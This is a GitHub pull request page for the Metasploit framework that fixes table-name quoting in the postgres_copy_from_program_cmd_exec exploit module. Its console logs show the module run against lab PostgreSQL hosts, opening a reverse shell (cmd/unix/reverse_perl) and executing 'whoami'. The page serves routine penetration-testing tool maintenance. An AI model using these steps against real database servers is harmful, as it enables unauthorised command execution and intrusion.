Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

postgres_copy_from_program_cmd_exec: Quote table name #16408

Merged

Conversation

rtpt-alexanderneumann
Copy link
Contributor

In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:

msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
RHOSTS => 192.168.2.2
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
tablename => 123test
[...]
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.2.1:4444·
[*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
[*] 192.168.2.2:5432 - Exploiting...
[!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
[-] 192.168.2.2:5432 - Exploit Failed

This can be verified manually as follows, quoting the table name works:

$ psql --user postgres -W -h 192.168.2.2 template1
[...]
template1=# DROP TABLE IF EXISTS 123test;
ERROR:  syntax error at or near "123"
LINE 1: DROP TABLE IF EXISTS 123test;
                             ^
template1=# DROP TABLE IF EXISTS "123test";
NOTICE:  table "123test" does not exist, skipping
DROP TABLE

With the patch, the script also works with table names which start with
numbers:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.2.1:4444
[*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
[*] 192.168.2.2:5432 - Exploiting...
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
[+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
[*] 192.168.2.2:5432 - Exploit Succeeded

[*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
  • configure postgres server: set RHOSTS 192.168.2.2
  • set tablename manually to start with a number: set tablename 123test
  • run script, it fails with Exploit failed
  • apply patch
  • run script again, succeeds, shell is opened

In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:

    msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
    RHOSTS => 192.168.2.2
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
    tablename => 123test
    [...]
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444·
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
    [-] 192.168.2.2:5432 - Exploit Failed

This can be verified manually as follows, quoting the table name works:

    $ psql --user postgres -W -h 192.168.2.2 template1
    [...]
    template1=# DROP TABLE IF EXISTS 123test;
    ERROR:  syntax error at or near "123"
    LINE 1: DROP TABLE IF EXISTS 123test;
                                 ^
    template1=# DROP TABLE IF EXISTS "123test";
    NOTICE:  table "123test" does not exist, skipping
    DROP TABLE

With the patch, the script also works with table names which start with
numbers:

    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
    [*] 192.168.2.2:5432 - Exploit Succeeded

    [*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
@adfoster-r7
Copy link
Contributor

Running postgres on the host with docker:

docker run --rm -it -p 5500:5432 -e POSTGRES_PASSWORD=password postgres:9.5.9

Before

Broken without a clear reason why

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run postgres://postgres:password@127.0.0.1:5500
[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] 127.0.0.1:5500 - 127.0.0.1:5500 - PostgreSQL 9.5.9 on x86_64-pc-linux-gnu, compiled by gcc (Debian 4.9.2-10) 4.9.2, 64-bit
[*] 127.0.0.1:5500 - Exploiting...
[!] 127.0.0.1:5500 - 127.0.0.1:5500 - Unable to execute query: DROP TABLE IF EXISTS 95UhmpvKsS;
[-] 127.0.0.1:5500 - Exploit Failed

[*] Exploit completed, but no session was created.

Behind the scenes, the postgres logs show why it failed:

ERROR:  syntax error at or near "95" at character 22
STATEMENT:  DROP TABLE IF EXISTS 95UhmpvKsS;
Parameterless "use IO" deprecated at -e line 0.

After

After a reload to bring in the pull request's fixes, it works as expected:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > reload
[*] Reloading module...
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run postgres://postgres:password@127.0.0.1:5500

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] 127.0.0.1:5500 - 127.0.0.1:5500 - PostgreSQL 9.5.9 on x86_64-pc-linux-gnu, compiled by gcc (Debian 4.9.2-10) 4.9.2, 64-bit
[*] 127.0.0.1:5500 - Exploiting...
[+] 127.0.0.1:5500 - 127.0.0.1:5500 - 95UhmpvKsS dropped successfully
[+] 127.0.0.1:5500 - 127.0.0.1:5500 - 95UhmpvKsS created successfully
[+] 127.0.0.1:5500 - 127.0.0.1:5500 - 95UhmpvKsS copied successfully(valid syntax/command)
[+] 127.0.0.1:5500 - 127.0.0.1:5500 - 95UhmpvKsS dropped successfully(Cleaned)
[*] 127.0.0.1:5500 - Exploit Succeeded

[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.1:52770 ) at 2022-04-04 13:29:44 +0100

whoami
postgres

@adfoster-r7 adfoster-r7 merged commit a510d74 into rapid7:master Apr 4, 2022
@adfoster-r7
Copy link
Contributor

Release Notes

Fixes an edgecase with the multi/postgres/postgres_copy_from_program_cmd_exec module, which crashed when the randomly generated table name started with a number

@adfoster-r7
Copy link
Contributor

@rtpt-alexanderneumann Thanks for the fix! 👍

@adfoster-r7 adfoster-r7 added the rn-fix release notes fix label Apr 4, 2022
@rtpt-alexanderneumann
Copy link
Contributor Author

Thanks for the quick response and merging it! :)

@rtpt-alexanderneumann rtpt-alexanderneumann deleted the psql-cmd-quote-tablename branch April 4, 2022 12:41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug module rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants